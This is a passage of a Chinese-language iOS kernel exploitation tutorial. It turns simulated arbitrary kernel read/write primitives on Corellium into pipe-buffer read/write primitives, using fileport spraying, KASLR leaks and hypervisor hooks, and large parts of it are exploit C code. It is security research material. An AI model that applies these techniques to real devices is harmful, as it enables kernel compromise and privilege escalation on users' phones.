實際上,含有BSD組件的iOS內核中有一個明顯的等價物:UNIX管道。並且,管道API的用法與典型的UNIX文件用法非常相似,但前者的內容並沒有保存到磁盤上的文件中,而是以“管道緩衝區”的形式存儲在內核的地址空間,這是一個單獨的內存空間(默認為512字節,但可以通過向管道寫入更多的數據來進行擴展)。因此,通過控制管道緩衝區的指針,就可以用來創建任意的讀/寫原語,具體方式與控制Javascript引擎中ArrayBuffer的後備存儲指針的方式基本相同。

例如,下面的代碼將創建一個管道,它被表示為一對文件描述符(一個是“read end”和一個是“write end”),然後,寫入32字節的字符A:

intpipe_pairs[2]={0};

if(pipe(pipe_pairs)){

fprintf(stderr,'[!]Failedtocreatepipe:%s\n',strerror(errno));

exit(-1);

}

printf('Pipereadendfd:%d\n',pipe_pairs[0]);

printf('Pipewriteendfd:%d\n',pipe_pairs[1]);

charpipe_buf_contents[32];

memset(pipe_buf_contents,0x41,sizeof(pipe_buf_contents));

write(pipe_pairs[1],pipe_buf_contents,sizeof(pipe_buf_contents));

charbuf[33]={0};

read(pipe_pairs[0],buf,32);

printf('Readfrompipe:%s\n',buf);這至少會分配兩段內核空間:一段用於struct管道,一段用於管道緩衝區本身。要構建該技術,我們首先需要一個模擬漏洞。

Corellium就是魔法師Corellium有一個非常特殊的功能,它允許用戶態代碼任意讀/寫內核內存。雖然該特性是完全可靠的,但為了便於討論,我們將假裝有失敗的可能性,從而導致內核崩潰。因此,管道技術的全部意義在於將不可靠的原語“提升”為更好的原語。我們的示例原語將是任意讀取0x20字節(隨機選擇)以及任意寫入64位值:

/*Simulatea0x20bytereadfromanarbitrarykerneladdress,representativeofaprimitivefromabug.

*Callerisresponsibleforfreeingthebuffer.

*/

staticchar*corellium_read(uint64_tkaddr_to_read){

char*leak=calloc(1,128);

unicopy(UNICOPY_DST_USER|UNICOPY_SRC_KERN,(uintptr_t)leak,kaddr_to_read,0x20);

returnleak;

}

/*Simulatea64-bitarbitrarywrite*/

staticvoidcorellium_write64(uintptr_tkaddr,uint64_tval){

uint64_tvalue=val;

unicopy(UNICOPY_DST_KERN|UNICOPY_SRC_USER,kaddr,(uintptr_t)value,sizeof(value));

}為了增加真實性,我們可以增加一個隨機的失敗機會,例如每次使用都有10%的機會引起內核崩潰,或者遞增失敗的概率。然而,為了構建該技術,我決定讓其保持100%的可靠性。

重要的是,這些原語沒有提供KASLR洩漏漏洞,所以開發過程的部分工作將圍繞這個弱點進行。雖然Corellium還提供了另一個神奇的hvc調用,可以提供內核基址,但這裡並不使用該調用。

創建管道原語首先,我們需要兩個管道,並分配緩衝區。這與上面的基本管道例子非常相似。

//Createtwopipes

intpipe_pairs[4]={0};

for(inti=0;i4;i+=2){

if(pipe(pipe_pairs[i])){

fprintf(stderr,'[!]Failedtocreatepipe:%s\n',strerror(errno));

exit(-1);

}

}

charpipe_buf_contents[64];

memset(pipe_buf_contents,0x41,sizeof(pipe_buf_contents));

write(pipe_pairs[1],pipe_buf_contents,sizeof(pipe_buf_contents));

memset(pipe_buf_contents,0x42,sizeof(pipe_buf_contents));

write(pipe_pairs[3],pipe_buf_contents,sizeof(pipe_buf_contents));現在,我們需要在內核內存中定位這些結構。其中,一種方法是使用任意讀取來遍歷struct proc鍊錶,以查找exploit進程,然後遍歷其p_fd-fd_ofiles數組,以查找管道的fileglob,最後讀取fileglob-fg_data,這將是一個struct管道。不幸的是,這需要多次讀取,並且,我們還要假裝read原語是不可靠的。它還需要了解KASLR的slide,以便找到struct proc列表的頭部。總而言之,我們需要一種不同的方法。

Fileports:XNU的多味巧克力實際上,有一個API可用於通過Mach端口共享UNIX文件描述符,同時,Mach端口噴射技術已經由來已久。創建文件端口的API非常簡單:

intpipe_read_fd=[.];//Assumethiswascreatedelsewhere

mach_port_tmy_fileport=MACH_PORT_NULL;

kern_return_tkr=fileport_makeport(pipe_read_fd,my_fileport);通過創建大量這樣的端口(比如,100k),那麼,其中一個Mach端口落在可預測的地址上的機率就會變得相當高。並且,該端口的kobject字段將指向管道的fileglob對象,其中包含兩個非常有用的字段:

fg_ops:一個指向函數指針數組的指針。通過它,內核就知道如何調用pipe_read了,而非調用vn_read(用於磁盤上的普通文件)。這個指針位於內核的__DATA_CONST段中,這意味著這裡存在一個KASLR洩漏漏洞!

fg_data:一個指向struct管道的指針,這正是我們夢寐以求的東西。

同時,該struct管道還包含一個嵌入式結構(struct pipebuf),其中保存的是管道緩衝區的地址。通過使用兩次任意讀取原語,我們就可以確定struct管道的地址。為了達到我們的目的,我們還必須再一次定位管道的地址,所以,我們總共需要使用四次任意讀取原語。但是,我們該如何找出相應的內核地址呢?

更多Corellium魔法:管理程序鉤子我們可以使用管理程序鉤子輸出每個fileport分配的內存地址,然後選擇一個在多次運行中出現的地址,而不是胡亂猜測。

另外,這些鉤子可以通過調試器命令放置,但之後它們將獨立於調試器運行。因此,它們比斷點運行得快得多,並且可以直接記錄到設備的虛擬控制台,這使得提取數據以供後續分析變得容易了許多。

我們的鉤子應盡可能簡單——在執行到特定地址時,只需打印寄存器的值即可,例如:

(lldb)processpluginpacketmonitorpatch0xFFFFFFF00756F4F8print_int('Fileportallocated',cpu.x[0]);print('\n');其中,process plugin packet monitor用於告訴lldb,將原始“monitor”命令發送給遠程調試器存根。據這些鉤子文檔稱,這些命令在lldb中“通常是不可用的”,但至少對這個鉤子來說似乎是有效的。

該命令的其餘部分用於鉤住指定的地址,並將X0寄存器的內容打印到設備的控制台。幸運的是,鉤子的輸出是以不同的文字顏色顯示的,所以很容易發現。

為了給鉤子函數做好準備,我們需要確定要鉤住新分配的內存中的哪個地址,而這些地址通常會保存在寄存器中。下面,讓我們來看一下fileport_makeport的實現代碼:

int

sys_fileport_makeport(proc_tp,structfileport_makeport_args*uap,__unusedint*retval)

{

interr;

intfd=uap-fd;//[1]

user_addr_tuser_portaddr=uap-portnamep;

structfileproc*fp=FILEPROC_NULL;

structfileglob*fg=NULL;

ipc_port_tfileport;

mach_port_name_tname=MACH_PORT_NULL;

[.]

err=fp_lookup(p,fd,fp,1);//[2]

if(err!=0){

gotoout_unlock;

}

fg=fp-fp_glob;//[3]

if(!fg_sendable(fg)){

err=EINVAL;

gotoout_unlock;

}

[.]

/*Allocateandinitializeaport*/

fileport=fileport_alloc(fg);//[4]

if(fileport==IPC_PORT_NULL){

fg_drop_live(fg);

err=EAGAIN;

gotoout;

}

[.]

}在[1]處,文件描述符是從一個結構體類型的參數中接收的,它將與用戶空間中看到的、表示管道fd的整數相匹配。

在[2]處,將fd(例如3)轉換為表示內核內存中管道的fileproc對象指針。然後,在[3]處,解除fp_glob指針的引用,檢索管道的fileglob。

在[4]處,創建Mach端口,該端口封裝了fileglob對象,並將其指針放置在kobject字段中。其中,fileport是我們要記錄的地址,它是fileport_alloc的返回值,因此,它位於X0寄存器中。下面,讓我們來看看fileport_alloc的具體代碼:

ipc_port_t

fileport_alloc(structfileglob*fg)

{

returnipc_kobject_alloc_port((ipc_kobject_t)fg,IKOT_FILEPORT,

IPC_KOBJECT_ALLOC_MAKE_SEND|IPC_KOBJECT_ALLOC_NSREQUEST);

}這個函數很短,並且只引用了一次,所以,它很可能是內聯的。接下來,我們需要找到kernelcache內部的等效代碼。幸運的是,jtool2可以幫助我們完成這個任務。為此,我們首先需要通過Corellium的Web界面的“Connect”選項卡下載kernelcache,然後,就可以利用jtool2的分析功能來創建符號緩存文件了:

$jtool2--analyzekernel-iPhone9,1-18F72

Analyzingkernelcache.

Thisisanold-styleA10kernelcache(DarwinKernelVersion20.5.0:SatMay802:21:50PDT2021;root:xnu-7195.122.1~4/RELEASE_ARM64_T8010)

Warning:ThisversionofjokersupportsuptoDarwinVersion19-andreportedversionis20

--Processing__TEXT_EXEC.__text.

Disassembling6655836bytesfromaddress0xfffffff007154000(offset0x15001c):

__ZN11OSMetaClassC2EPKcPKS_jis0xfffffff0076902f8(OSMetaClass)

Can'tgetIOKitObject@0x0(0xfffffff007690b5c)

[.]

openedcompanionfile./kernel-iPhone9,1-18F72.ARM64.B2ACCB63-D29B-34B0-8C57-799C70810BDB

Dumpingsymbolcachetofile

Symbolicated7298symbolsand9657functions然後,我們可以利用grep命令處理該文件,以找到我們需要的兩個符號:

$grepipc_kobject_alloc_portkernel-iPhone9,1-18F72.ARM64.B2ACCB63-D29B-34B0-8C57-799C70810BDB

0xfffffff00719de7c|_ipc_kobject_alloc_port|

$grepfileport_makeportkernel-iPhone9,1-18F72.ARM64.B2ACCB63-D29B-34B0-8C57-799C70810BDB

0xfffffff00756f3a4|_fileport_makeport|現在,我們只需從fileport_makeport中找到對ipc_kobject_alloc_port的調用即可:

1.png

需要注意的是,這個調用指令後的指令面,就是我們要掛鉤的指令,其地址為0xFFFFFFF00756F4F8。由於啟用了KASLR機制,直接修改這個地址是無法奏效的。幸運的是,如前所述,我們可以藉助於虛擬機管理程序的另一種魔法,即通過調用提供的get_kernel_addr函數從userspace獲得slid內核基的方法:

#defineKERNEL_BASE0xFFFFFFF007004000

uint64_tkslide=get_kernel_addr(0)-KERNEL_BASE;

printf('Kernelslide:0x%llx\n',kslide);

printf('Placehypervisorhook:\n');

uint64_tpatch_address=g_kparams-fileport_allocation_kaddr+kslide;

printf('\tprocesspluginpacketmonitorpatch0x%llxprint_int(\'Fileportallocated\',cpu.x[0]);print(\'\\n\');\n',patch_address);

printf('Pressentertocontinue\n');

getchar();通過將這段代碼放到exploit的開頭處,不僅能為附加調試器和安裝鉤子提供必要的時間,還能為給定的kernelcache提供正確的slid地址。

一旦鉤子安裝到位,我們就可以噴射100k fileport,並選擇一個作為我們要猜測的內存地址。我簡單地向上滾動了一下,在列表的3/4處隨機選擇了一個,這對於PoC來說似乎足夠好了。一個更嚴謹的做法,是通過多次運行來跟踪地址範圍,並嘗試挑選一個已知的高概率的地址,例如如Justin Sherman的IOMobileFrameBuffer漏洞利用代碼就採用了這種方式。

現在我們有了一個猜測對象,我們可以執行兩次相同的噴射操作(為每個管道的讀端fd噴射一次),並讀取kobject字段來定位struct管道;下面是完整的實現代碼:

structkpipe{

intrfd;

intwfd;

uint64_tfg_ops;

uint64_tr_fg_data;

};

staticstructkpipe*find_pipe(intrfd,intwfd){

structkpipe*kp=NULL;

char*leak=NULL;

char*fileglob=NULL;

char*fg_data=NULL;

printf('[*]Sprayingfileports\n');

mach_port_tfileports[NUM_FILEPORTS]={0};

for(inti=0;iNUM_FILEPORTS;i++){

kern_return_tkr=fileport_makeport(rfd,fileports[i]);

CHECK_KR(kr);

}

printf('[*]Donesprayingfileports\n');

#ifdefSAMPLE_MEMORY

//Noneedtocontinue,justexit

printf('[*]Finishedcreatingmemorysample,exiting\n');

exit(0);

#endif

uint64_tkaddr_to_read=g_kparams-fileport_kaddr_guess;

leak=read_kernel_data(kaddr_to_read+g_kparams-kobject_offset);//port-kobject,shouldpointtoastructfileglob

if(!leak){

printf('[!]Failedtoreadkerneldata,willlikelypanicsoon\n');

gotoout;

}

uint64_tpipe_fileglob_kaddr=*(uint64_t*)leak;

if((pipe_fileglob_kaddr0xff00000000000000)!=0xff00000000000000){

printf('[!]Failedtolandthefileportspray\n');

gotoout;

}

pipe_fileglob_kaddr|=0xffffff8000000000;//PointermightbePAC'd

printf('[*]Foundpipestructure:0x%llx\n',pipe_fileglob_kaddr);

//+0x28pointstofg_opstoleaktheKASLRslide

//+0x38pointstofg_data(structpipe)

fileglob=read_kernel_data(pipe_fileglob_kaddr+0